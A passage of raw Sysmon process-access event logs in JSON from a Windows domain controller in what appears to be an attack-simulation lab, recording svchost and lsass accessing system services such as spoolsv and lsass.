11:51:56.536\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107A0C0200}\r\nTargetProcessId: 1884\r\nTargetImage: C:\\Windows\\System32\\spoolsv.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+6988|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:56.536","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107A0C0200}","TargetProcessId":"1884","TargetImage":"C:\\Windows\\System32\\spoolsv.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+6988|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2740,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:56.536\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107A0C0200}\r\nTargetProcessId: 1884\r\nTargetImage: C:\\Windows\\System32\\spoolsv.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:56.536","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107A0C0200}","TargetProcessId":"1884","TargetImage":"C:\\Windows\\System32\\spoolsv.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2741,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:56.536\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107A0C0200}\r\nTargetProcessId: 1884\r\nTargetImage: C:\\Windows\\System32\\spoolsv.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:56.536","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107A0C0200}","TargetProcessId":"1884","TargetImage":"C:\\Windows\\System32\\spoolsv.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2742,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:56.536\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107A0C0200}\r\nTargetProcessId: 1884\r\nTargetImage: C:\\Windows\\System32\\spoolsv.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:56.536","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107A0C0200}","TargetProcessId":"1884","TargetImage":"C:\\Windows\\System32\\spoolsv.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2743,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:56.536\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107A0C0200}\r\nTargetProcessId: 1884\r\nTargetImage: C:\\Windows\\System32\\spoolsv.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+6988|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:56.536","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107A0C0200}","TargetProcessId":"1884","TargetImage":"C:\\Windows\\System32\\spoolsv.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+6988|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2744,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.271\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.271","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2745,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.271\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.271","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2746,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.271\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.271","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2747,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.302\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00104DCB0000}\r\nSourceProcessId: 1308\r\nSourceThreadId: 1412\r\nSourceImage: C:\\Windows\\System32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nTargetProcessId: 1220\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 